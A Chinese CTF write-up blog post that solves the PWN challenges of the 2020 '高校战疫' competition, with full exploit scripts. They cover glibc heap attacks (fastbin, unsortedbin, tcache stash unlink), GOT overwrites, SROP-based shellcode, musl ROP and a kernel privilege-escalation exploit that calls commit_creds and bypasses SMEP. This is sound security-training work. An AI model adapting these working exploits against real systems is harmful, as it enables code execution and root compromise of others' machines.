2020-高校战疫-writeup-PWN

  1. 前言
  2. easyheap
  3. woodenbox
  4. lgd
  5. shortest_path
  6. kenoob
  7. bjut
  8. musl
  9. babykernel
  10. babykernel2
  11. rustpad
  12. easy_vm
  13. easy_unicorn
  14. twochunk

前言

这次比赛体验还是很好的,自己出的twochunk难住了很多队的师傅很开心hh,同时也是自己离AK最近的一次了,就差了一道hhh,希望以后还有这种高光时刻把。装逼截图记录一下:

1583753262235

easyheap

add里就算开辟失败也可以生成信息堆块,如果可以利用fastbin里的残留堆块,进行布局操作。

我一开始的操作虽然可以做不过爆破概率有点低,最后是学弟顺着漏洞改了下,做出来的。我的1/4096的脚本:

#
# @ Author: t1an5t
# @ Version: 0.3
#
from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level="debug"

#p = process("./easyheap")
# proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] # get the base address in PIE

p = remote("121.36.209.145", 9997)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debug(cmd):
    gdb.attach(p, cmd)

def choose(idx):
    sla(":\n", str(idx))

def add(sz, ctx):
    choose(1)
    sa("?\n", str(sz))
    sa("?\n", ctx)

def add_err():
    choose(1)
    sa("?\n", str(0x401))

def edit(idx, ctx):
    choose(3)
    sla("?\n", str(idx))
    sa("?\n", ctx)

def free(idx):
    choose(2)
    sla("?\n", str(idx))

elf = ELF("./easyheap")
cmd = "set $a=0x6020c0\n"
#cmd += "b *0x400B3E\n" # read in edit
#cmd += "b * 0x4009CE\n" # read in add
#cmd += "b* 0x400966\n" # jle in add
#debug(cmd)

add(0x80, "0") # fake

add(0x10, "0")

free(1)
free(0)
add_err()

edit(0, flat(0, 0x21)+"\x00")

add(0x10, p64(elf.got['free']))

edit(0, "\x90\x23\xa5")
edit(1, "/bin/sh\x00")

free(1)
p.interactive()

woodenbox

很明显的堆溢出,最后那个双free明显是让你写one_gadget。整个堆结构是个单向链表,free的时候尾链存在double free。unsortedbin attack打global_max_fast,然后用stdout上方的0xff堆块泄露,最后写malloc_hook为one_gadget。

#
# @ Author: t1an5t
# @ Version: 0.3
#
from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level="debug"

#p = process("./woodenbox2")
#proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] # get the base address in PIE
p = remote("121.36.215.224", 9998)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debug(cmd):
    gdb.attach(p, cmd)

def choose(idx):
    sla(":", str(idx))

def add(sz, ctx):
    choose(1)
    sla(":", str(sz))
    sa(":", ctx)

def edit(idx, sz, ctx):
    choose(2)
    sla(":", str(idx))
    sla(":", str(sz))
    sa(":", ctx)

def free(idx):
    choose(3)
    sla(":", str(idx))

libc = ELF("./libc.so")

#cmd = "set $a=%d\n" %(proc_base+0x2020a8) # chunk_bss
#cmd += "set $b=%d\n" %(proc_base+0x2020A0) # item

#debug(cmd)

add(0x100, "ttt") # 0
add(0x100, "ttt") # 1
add(0x100, "ttt") # 2

for i in range(7):
    add(0x68, "ttt")

add(0xe8, "a")
add(0xe8, "a")

# unsortedbin
free(2)

 # overwrite to attack global_max_fast-0x10
edit(0, 0x200, "\x00"*0x100+p64(0)+p64(0x111)+p64(0)+"\xe8\x37")
#edit(0, 0x200, "aa")

# unsortedbin attack
add(0x108, "a")


free(10)
edit(11, 0x20, "\xcf\x25")

free(1)
add(0xe8, "a")
add(0xe8, "a")
edit(8, 0x100, "a"*0x41+p64(0xfbad1800)+'\x00'*25)

lb = u64(ru("\x7f")[-6:].ljust(8, "\x00"))-0x3c5600
success(hex(lb))


free(6)
free(5)
free(4)

edit(2, 0x100, "\x00"*0x60+p64(0)+p64(0x71)+p64(lb+libc.sym["__malloc_hook"]-0x23))

add(0x68, "a")
add(0x68, "a")

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
edit(4, 0x30, "a"*0x13+p64(lb+one[2]))

choose(4)
p.interactive()

flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}

lgd

有一个很奇怪的数据结构,是啥没看出来。
沙盒禁了shell,初步推测问题在edit里面。

本来想跳到name上做ROP,不过没想到怎么构造。所以,最后还是搞到free_hook上去了,改成setcontext执行mprotect,然后在bss上执行shellcode:

#
# @ Author: t1an5t
# @ Version: 0.3
#
from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level="debug"

#p = process("./pwn")
# proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] # get the base address in PIE

p = remote("121.36.209.145", 9998)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debug(cmd):
    gdb.attach(p, cmd)

def choose(idx):
    sla(">> ", str(idx))

def add(sz, ctx):
    choose(1)
    sla("?\n", str(sz))
    sa("?\n", ctx)

def free(idx):
    choose(2)
    sla("?\n", str(idx))

def show(idx):
    choose(3)
    sla("?\n", str(idx))

def edit(idx, ctx):
    choose(4)
    sla("?\n", str(idx))
    sa("?\n", ctx)

libc = ELF("./libc.so.6")

cmd = "set $a=%d\n"%(0x6032e0) # chunk_buf
#cmd += "b *0x40208A\n" # read in edit
cmd += "set $b=%d\n"%(0x603260) # size?
cmd += "b *0x603340\n"
#debug(cmd)

leave_ret = 0x4020A3
p_rdi = 0x4023b3
p_rsi = 0x4023b1

name = "ttt"
sa("? \n", name)

add(0x100, "aaa")
add(0x200, "bbb")

free(0)
add(0x20, "a")

show(0)
lb = u64(ru("\x7f")[-6:].ljust(8, "\x00"))-0x3c4c78
success(hex(lb))



add(0x68, "a")
#edit(2, "a")
add(0x68, "a"*0x200)
add(0x68, "a"*0x200)
add(0x68, "a"*0x200)
free(5)

edit(4, "a"*0x60+p64(0)+p64(0x71)+p64(lb+libc.sym["__malloc_hook"]-0x23))


add(0x68, "a")
add(0x68, "a"*0x100)

# 0010a407 : add rsp, 0x40 ; ret
add_rsp = lb + 0x10a407
edit(6, "a"*0x13)#+p64(add_rsp))


#cmd += "b *0x400c17\n" # malloc
#debug(cmd)

free(5)
edit(4, "a"*0x60+p64(0)+p64(0x71)+p64(0x60330d))

add(0x68, "a")
add(0x68, "a"*0x100)

#edit(7, )

add(0x100, "a"*0x200)
free(8)

p2 = "\x00"*3+p64(lb+libc.sym["__free_hook"])+p64(0)*2
p2 += p64(0x603340)+asm(shellcraft.cat("./flag"))

edit(7, p2)
edit(8, p64(lb+libc.sym["setcontext"]+53))

# payload

add(0x200, "a"*0x200)

frame = SigreturnFrame()
frame.rsp = 0x603330+8
frame.rip = lb+libc.sym['mprotect'] 
frame.rdi = (0x603330 & 0xfffffffffffff000)
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
p1 = str(frame)
edit(9, p1)

free(9)

p.interactive()

flag{awesomenononononono!}

shortest_path

add里似乎是在记录点,路径什么的。

qeury_route就是在找最优路径,一开始感觉这里应该有什么问题。不过最后发现flag在topchunk里,一点一点分配给带出来就行了:

#
# @ Author: t1an5t
# @ Version: 0.3
#
from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level="debug"

#p = process("./path")
# proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] # get the base address in PIE

p = remote("121.37.181.246", 19008)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debug(cmd):
    gdb.attach(p, cmd)

def choose(idx):
    sla("> ", str(idx))

def add(id, price, sz, ctx, station_numb, connected_id, connected_distance):
    choose(1)
    sla(": ", str(id))
    sla(": ", str(price))
    sla(": ", str(sz))
    sa(": \n", ctx)
    sla(": ", str(station_numb))

    for i in range(station_numb):
        sla(": ", str(connected_id[i]))
        sla(": ", str(connected_distance[i]))


def free(id):
    choose(2)
    sla(": ", str(id))


cmd = "set $a=0x604360\n"
cmd +="set $b=0x602720\n"
cmd +="set $c=0x605620\n"
cmd +="set $d=0x603A00\n"
cmd += "set $h=0x0603D20\n"
#debug(cmd)


add(0, 0xff, 0xff, 'aaa', 1, [1, 4, 3, 7], [0x66, 0x77, 0x88, 0xff])
add(1, 0xff, 0xff, 'a'*(0x240-0x160), 1, [1, 4, 3, 7], [0x66, 0x77, 0x88, 0xff])
add(2, 0xff, 0xff, 'a', 1, [1, 4, 3, 7], [0x66, 0x77, 0x88, 0xff])

choose(3)
sla(": ", "1")

p.interactive()

flag{SPFA_1s_4_9o0d_A1gorithm}

kenoob

文件解包之后,发现fs文件夹下有flag233:

flag{b4by_b4by_r4c3_c0nd1710n}

bjut

没啥意思,读写的idx可以输入负值,找到存有got地址的位置,然后读写got:

#-*- coding: utf-8 -*-
#
# @Author : t1an5t
#
from pwn_debug import *

ELF_PATH = "./hw" 
LIBC_PATH = "./libc.so.6"
LIBC_VERSION = "2.29"
LD_PATH = "/glibc/x64/{}/lib/ld-{}.so".format(LIBC_VERSION, LIBC_VERSION)

IP = "121.37.167.199"
PORT = 9997

# input argv[1] = 1/2/3 corresponding to local/debug/remote run mode
MODE = ["", "local", "debug", "remote"][int(sys.argv[1])]

pd = pwn_debug(ELF_PATH)
pd.context.terminal=['tmux', 'splitw', '-h']
pd.context.log_level = "debug"

pd.local(LIBC_PATH, LD_PATH)
pd.debug(LIBC_VERSION)
pd.remote(IP, PORT)

p = pd.run(MODE)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def choose(idx):
    sla(">", str(idx))

def add(sz, ctx):
    choose(1)
    sla(":\n", str(sz))
    sa(":\n", ctx)

def edit(idx, ctx):
    choose(2)
    sla(":\n", str(idx))
    sa(":\n", ctx)

def free(idx):
    choose(3)
    sla("\n", str(idx))

def show(idx):
    choose(4)
    sla("\n", str(idx))

pd.bp(watch=[0x404140, 0x4040e0], command=[], address_list=[0x0401417])

libc = ELF(LIBC_PATH)

add(0x30, "/bin/sh\x00")

show(-1876)
lb = u64(ru("\x7f")[-6:].ljust(8, "\x00"))-libc.sym['putchar']
success(hex(lb))

edit(-1879, p64(lb+libc.sym["system"]))

choose(5)

p.interactive()

flag{h0mew0rksysysykkkttt!}

musl

泄露很容易,有了libc地址相当于有了堆地址,mmap偏移是固定的,利用信息堆块里的size,错位伪造一下,砸到信息堆块那里,然后就可以任意地址读写了。这里因为musl没有hook函数,所以通过libc的env泄露栈然后写ROP:

#
# @ Author: t1an5t
# @ Version: 0.3
#
from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level="debug"

#p = process("./pwn", env={"LD_PRELOAD":"./libc.so"})
# proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] # get the base address in PIE

p = remote("119.3.158.103", 19008)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def choose(idx):
    sla("> ", str(idx))

def add(sz, ctx):
    choose(1)
    sla(">", str(sz))
    sla(">", "n")
    sa(">", ctx)

def add_over(sz, ctx):
    choose(1)
    sla(">", str(sz))
    sla(">", "Y")
    sa(">", ctx)

def free(idx):
    choose(2)
    sla(">", str(idx))

def edit(idx, ctx):
    choose(3)
    sla(">", str(idx))
    sn(ctx)

def show(idx):
    choose(4)
    sla(">", str(idx))

def debug(cmd=""):
    gdb.attach(p, cmd)

cmd = "set $a=%d\n"%(0x7ffff7ff4000)
#cmd += "set $b=%d\n"%(0x7ffff7ff4000)
cmd += "set $b=%d\n"%(0x7ffff7ffbac0)
#debug(cmd)

add(1, "a")
show(0)
lb = u64(ru("\x7f").ljust(8, "\x00"))-0x292e61
success(hex(lb))

#info = lb + 0x28b000
info = lb + 0x290000
env = lb + 2707416
system = lb + 0x42688
bin_sh = lb + 0x91345
p_rdi = lb+0x14862

add(0x40,'a'*0x40) # 1 
add(0x10,'a'*0x10) # 2
add(0x30,'A'*0x30) # 3  
add(0x10,'A'*0x10) # 4 
add(0x30,'A'*0x30) # 5   
add(0x10,'A'*0x10) # 6

free(3)
free(5)
free(1)

p1='A'*0x70+p64(0x21)+p64(0x40)
p1 += p64(info+8)[:6]+'\n'
add_over(0x40,p1)#1

add(0x30,'A'*0x30) # 3

p2 = p64(0x602034) # show time
p2 += p64(0x30)+p64(env) # 2

add(0x30, p2+'\n')

edit(1, p32(0)+"\n")
show(2)

stack = u64(ru("Done.")[:-5].ljust(8, "\x00"))    
success(hex(stack))

ret = stack-0x70
p3 = p64(0x602034) + p64(0x80) + p64(ret)+'\n'
edit(5, p3)

#cmd = "b *0x400F80\n"
#debug(cmd)

p4 = flat(p_rdi, bin_sh, system)
edit(2, p4+"\n")

p.interactive()

flag{It_1s_n0t_0ur_3nemi3s_that_def3at_us_It_1s_0ur_f3ar_POE}

babykernel

解包后直接就有flag,cat flag即可:

flag{B4by_k3rler_1s_such_2_3aby!!!!!!!!!!!!!!}

babykernel2

上一题被偷了之后的正规版,其实就是模板套路型kernel题,越界读写,泄露canary然后做ROP来拿root,随便找个模板改改都能做。最后因为远程qemu脚本只有15s很容易崩,所以用musl-gcc编译然后再打包上传压缩程序大小。

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/ioctl.h>

//musl-gcc -static -s exp.c
unsigned long long cs,ss,rsp,rflags;
unsigned long long canary;
unsigned long long  vmlinux_base = 0xffffffff81000000;
unsigned long long  kernel_base ;
unsigned long long  prepare_kernel_cred;
unsigned long long  commit_creds;

void get_state()
{
    __asm__(
        "mov %%cs,%0;"
        "mov %%ss,%1;"
        "mov %%rsp,%2;"
        "pushfq;"
        "popq %3;"
        :"=r"(cs),"=r"(ss),"=r"(rsp),"=r"(rflags)
        :
        :"memory"
    );
}

void set_size(int fd, int size)
{
    ioctl(fd, 0x30000, size);
}

void oob_read(int fd, char* buf)
{
    ioctl(fd, 0x30002, buf);
}

void oob_write(int fd, char* buf)
{
    ioctl(fd, 0x30001, buf);
}

void root()
{
    char * (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}


void getshell()
{
    system("/bin/sh");
}


int main()
{
    get_state();
    char *buf = (char*)malloc(0x10000);
    int fd = open("/dev/babyhacker", 0);

    set_size(fd, -0xf000);
    oob_read(fd, buf);

    canary = *(unsigned long long*)(buf+40);

    unsigned long long leak = *(unsigned long long*)(buf+0xe8);
    kernel_base = leak - 0x11be05d+0x1000000;

    unsigned long long  pop_rdi_ret = kernel_base+0xffffffff8109054d-vmlinux_base;    
    unsigned long long  mov_cr4_rdi_pop_rbp_ret = 0xffffffff81004d70+kernel_base-vmlinux_base;
    unsigned long long swapgs_pop_rbp_ret = 0xffffffff810636b4+kernel_base-vmlinux_base;
    unsigned long long iretq = 0xffffffff8168b278+kernel_base-vmlinux_base;

    prepare_kernel_cred = kernel_base+0xffffffff810a1820-vmlinux_base;
    commit_creds = kernel_base+0xffffffff810a1430-vmlinux_base;

    unsigned long long* rop = (unsigned long long* )malloc(0x800);

    int i = 40;
    rop[i++] = canary;
    rop[i++] = 0;
    rop[i++] = pop_rdi_ret;
    rop[i++] = 0x6f0;
    rop[i++] = mov_cr4_rdi_pop_rbp_ret;
    rop[i++] = 0;
    rop[i++] = root;
    rop[i++] = swapgs_pop_rbp_ret;
    rop[i++] = 0;
    rop[i++] = iretq;
    rop[i++] = getshell;
    rop[i++] = cs;
    rop[i++] = rflags;
    rop[i++] = rsp;
    rop[i++] = ss;

    oob_write(fd,rop);

}

flag{B4by_k3rler_1s_such_2_3aby!a24d3df5645ff}

rustpad

根据提示关键字找到了类似的脚本。

https://github.com/aweinstock314/aweinstock-ctf-writeups/blob/80193b18b76822cb1eb1661e91961e11e1641855/hacklu_2018/rustycodepad/exploit_rustycodepad.rs

利用该bug可以越界读写到ELF文件的内容,同时本地测试发现flag是被写在ELF的数据段里的,所以站在巨人肩膀上,魔改一下代码,越界给flag读出来。

#
# @ Author: t1an5t
# @ Version: 0.3
#
from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level="debug"

#p = process("/pwn/pwn")
#proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] # get the base address in PIE

p = remote("159.138.4.209", 1001)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

p1 = '''
static UNIT: &'static &'static () = &&();
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T { v }

fn bad<'a, T>(x: &'a T) -> &'static T {
    let f: fn(_, &'a T) -> &'static T = foo;
    f(UNIT, x)
}

fn endianswap(x: u32) -> u32 {
    (x & 0xff000000) >> 24 |
    (x & 0x00ff0000) >> 08 |
    (x & 0x0000ff00) << 08 |
    (x & 0x000000ff) << 24
}

pub fn code() {
    println!("reached 1");

    fn inner() -> &'static Vec<u8> {
        let x = Box::new(Vec::new());
        bad(&*x)
    }

    let x = inner();
    let mut y = Box::new((1usize, 2usize, 3usize));
    println!("x: {:?} {} {}", x.as_ptr(), x.capacity(), x.len());

    let mut r = |addr: usize| { y.0 = addr; x[0] };
    let r32 = |r: &mut FnMut(usize) -> u8, x: usize| {
        let mut tmp = 0u32;
        for j in 0..4 {
            tmp |= (r(x+3-j) as u32) << (8 * j);
        }
        tmp
    };

    let mut i: usize = &code as *const _ as _;
    println!("code start: {:x}", i);

    for j in 0..14 {
         let tmp = r32(&mut r, i) as u32;
         println!("flag: {:x}", tmp);
         println!("{}", j);
         i -= 4;
     }

}

'''

p1 = p1.replace("\n", "")
#p1 = 'aaa'
p.sendlineafter("thought?\n", p1)

p.interactive()

flag{2c9a594f-6e42-44e3-9767-fffc7deb0c32}

easy_vm

是个虚拟机,没看,学弟的脚本:

#!/usr/bin/python
from pwn import *
import os
# context.terminal = ["tmux", 'splitw', '-h']
context.terminal = ["terminator", "-x", "sh", "-c"]
challengename = "EasyVM"
libcversion = '2.23'
IP = "121.36.215.224"
PORT = 9999
elfpath = os.path.join(os.getcwd(), challengename)
print(elfpath)
elf = ELF(elfpath, checksec=False)
context.arch = elf.arch
if context.arch == "amd64":
    libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion, libcversion), checksec=False)
else:
    libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion, libcversion), checksec=False)


remote_ = 1
if remote_ == 1:
    io = remote(IP, PORT)    
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
    if context.arch == "amd64":
        argv = [
            '/glibc/x64/{}/lib/ld-{}.so'.format(libcversion, libcversion), 
            '--library-path', 
            '/glibc/x64/{}/lib/'.format(libcversion), 
            './' + challengename
        ]
    else:
        argv = [
            '/glibc/x86/{}/lib/ld-{}.so'.format(libcversion, libcversion), 
            '--library-path', 
            '/glibc/x86/{}/lib/'.format(libcversion), 
            './' + challengename
        ]
    print(argv)
    io = process(argv=argv, aslr=1)
    base = io.libs()[elfpath]
    cmd = """b *0x{:x}
    set $base=0x{:x}""".format(base + 0xCAC, base)


def show_leak(name, leak):
    success("{} ====> 0x{:x}".format(name, leak))

def debug_func():
    gdb.attach(io, cmd)


ru = lambda x: io.recvuntil(x)
se = lambda x: io.send(x)
sea= lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla= lambda x, y: io.sendlineafter(x, y)


# gdb.attach(io, cmd)
# pause()
def wcode(code):
    sla(">>> \n", "1")
    se(code)


def run():
    sla(">>> \n", "2")


def free():
    sla(">>> \n", "3")


def backdoor():
    sla(">>> \n", "4")
# free()
# sla(">>> \n", "4")
# run()


backdoor()
payload = p8(9) + p8(0x11) + p8(0x99)
wcode(payload)
run()
piebase = eval(io.recvline().strip()) - 0x6c0
show_leak("piebase", piebase)
payload  = ""
payload += p8(0x80) + p8(0x3) + p32(piebase + elf.got['atoi']  ) + p16(0x53)
payload += p8(0x80) + p8(0x3) + p32(piebase + elf.got['atoi']+1) + p16(0x53)
payload += p8(0x80) + p8(0x3) + p32(piebase + elf.got['atoi']+2) + p16(0x53)
payload += p8(0x80) + p8(0x3) + p32(piebase + elf.got['atoi']+3) + p16(0x53)
payload += p8(0x99)
wcode(payload)
run()
libc.address = ( u8(io.recv(1)) + (u8(io.recv(1)) << 8) + (u8(io.recv(1)) << 16) + (u8(io.recv(1)) << 24) ) - libc.sym['atoi']
# libc.address = u32(io.recv(4)) - libc.sym['atoi']
show_leak("libc", libc.address)

payload  = ""
payload += p8(0x80) + p8(0x3) + p32(libc.sym['__free_hook']  ) + p16(0x54)
payload += p8(0x80) + p8(0x3) + p32(libc.sym['__free_hook']+1) + p16(0x54)
payload += p8(0x80) + p8(0x3) + p32(libc.sym['__free_hook']+2) + p16(0x54)
payload += p8(0x80) + p8(0x3) + p32(libc.sym['__free_hook']+3) + p16(0x54)
payload += p8(0x71) + "/sh\x00"
payload += p8(0x71) + "/bin"
payload += p8(0x99)

wcode(payload)
run()
se(p8(libc.sym['system']&0xFF))
se(p8((libc.sym['system']&0xFF00)>>8))
se(p8((libc.sym['system']&0xFF0000)>>16))
se(p8((libc.sym['system']&0xFF000000)>>24))

main_arena = 0x1b2780
payload  = ""
payload += p8(0x80) + p8(0x3) + p32(libc.address+main_arena+48  ) + p16(0x53)
payload += p8(0x80) + p8(0x3) + p32(libc.address+main_arena+48+1) + p16(0x53)
payload += p8(0x80) + p8(0x3) + p32(libc.address+main_arena+48+2) + p16(0x53)
payload += p8(0x80) + p8(0x3) + p32(libc.address+main_arena+48+3) + p16(0x53)
payload += p8(0x99)
wcode(payload)
run()

heap = ( u8(io.recv(1)) + (u8(io.recv(1)) << 8) + (u8(io.recv(1)) << 16) + (u8(io.recv(1)) << 24) ) - 0xda8
show_leak("heap", heap)

payload  = ""
payload += p8(0x80) + p8(10) + p32(heap+0x17c) + p8(0x99)
wcode(payload)
run()
# debug_func()
free()
io.interactive()
io.close()

easy_unicorn

感觉程序写得很厉害,甘拜下风,实在是不会逆。根据里面的字符串推断,逆过来之后,输入password之后,应该是个简单的ORW的shellcode把。可惜分析了好久也不知道如何把真实逻辑dump出来,遂放弃。

twochunk

这个是我出的题目,利用基于tcache stash unlink attack技术的升级版,我称之为 tcache stash unlink attack plus。有兴趣可以看一下HITCON-2019-lazyhouse这道题目的官方解法,再稍稍变通一下。

简单来说,利用申请smallbin的时候出发的stash机制,smallbin里剩余的chunk会被放到对应size的tcache中,仔细构造后,可以同时实现任意地址分配以及任意地址写libc值的效果

利用add里唯一一次malloc来从tcache里拿chunk,然后利用唯一一次show泄露这个堆地址。之后唯一一次堆溢出,构造smallbin的stash布局,分配到Addr地址的chunk,同时在初始的时候对Addr里的数据构造一下,就可以把libc地址砸到Addr里,用show_msg泄露libc,然后通过edit_msg功能拿到stash后的Addr的堆块,写成system和bin_sh,最后触发后门getshell。

我的exp偏移值是有一些问题的,不过重点是操作嘛hh:

#-*- coding: utf-8 -*
#
# @Author : t1an5t
#
from pwn import *
context.log_level = "debug"

p = process("./pwn")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def choose(idx):
    sla(": ", str(idx))

def add(idx, sz):
    choose(1)
    sla("idx: ", str(idx))
    sla("size: ", str(sz))

def free(idx):
    choose(2)
    sla("idx: ", str(idx))

def show(idx):
    choose(3)
    sla("idx: ", str(idx))

def edit(idx, ctx):
    choose(4)
    sla("idx: ", str(idx))
    sa("content: ", ctx)

#pd.bp(watch=[0x40a0], command=[], address_list=[0x17b5])

sa("name: ", p64(0x23333020)*6)
sa("message: ", "aaa")

# fill tcache with 5 chunks
for i in range(5):
    add(0, 0x88)
    free(0)

# leak heap
add(0, 233)
free(0)
add(0, 233)
free(0)
add(0, 23333)
show(0)
heap = u64(rv(6).ljust(8, "\x00"))-0x530
success(hex(heap))

free(0)

# fill in tcache
for i in range(7):
    add(0, 0x188)
    free(0)

add(0, 0x188)
add(1, 0x300) # padding
free(0) # unsortedbin
add(0, 0xf8)
free(0)
add(0, 0x100) # smallbin

free(0)
free(1)

add(0, 0x188)
add(1, 0x300) # padding
free(0) # unsortedbin
free(1)

add(0, 0xf8) # overwrite
add(1, 0x100) # smallbin
free(1)

# overwrite
p1 = "\x00"*0xf0 + flat(0, 0x91, heap+0x1310, 0x23333000-0x10)
edit(0, p1)

# trigger smallbin stash unlink attack
add(1, 0x88)

# leak libc
choose(5)
libc_base = u64(ru("\x7f")[-6:].ljust(8, "\x00")) -0x3b2d20
success(hex(libc_base))

# overwrite name and message
choose(6)
system = libc_base+0x41c20
p2 = p64(system) + "/bin/sh\x00"+p64(0)*4+p64(0x23333008)+p64(0)*2
sla(": ", p2)

# getshell
choose(7)

p.interactive()

connect 1037178204@qq.com

文章标题:2020-高校战疫-writeup-PWN

本文作者:t1an5t

发布时间:2020-03-09, 22:22:00

最后更新:2020-03-17, 21:36:32

原始链接:http://yoursite.com/2020-%E9%AB%98%E6%A0%A1%E6%88%98%E7%96%AB-writeup-PWN/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录